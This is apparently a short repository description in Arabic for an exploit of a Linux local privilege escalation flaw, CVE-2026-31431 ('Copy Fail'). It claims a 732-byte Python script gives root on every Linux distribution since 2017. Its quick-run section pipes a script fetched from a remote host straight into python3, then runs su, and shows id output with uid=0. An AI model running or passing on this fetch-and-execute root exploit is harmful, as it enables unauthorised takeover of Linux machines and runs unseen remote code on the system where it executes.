ozergoker/cve-2026-31431-copy-failاستغلال لـ CVE-2026-31431: سكربت بايثون بحجم 732 بايت يستغل ثغرة منطقية مستقيمة الخط للحصول على صلاحيات الجذر على جميع توزيعات لينكس منذ عام 2017.
معظم ثغرات رفع الامتيازات المحلية (LPE) في لينكس تحتاج إلى نافذة سباق أو إزاحة خاصة بالنواة. Copy Fail هو عيب منطقي مستقيم — لا يحتاج إلى أي منهما. نفس سكربت بايثون المكوّن من 732 بايت يمنح صلاحيات الجذر لكل توزيعة لينكس صدرت منذ 2017.
تشغيل سريع:
curl https://copy.fail/exp | python3 && su
id
uid=0(root) gid=1002(user) groups=1002(user)
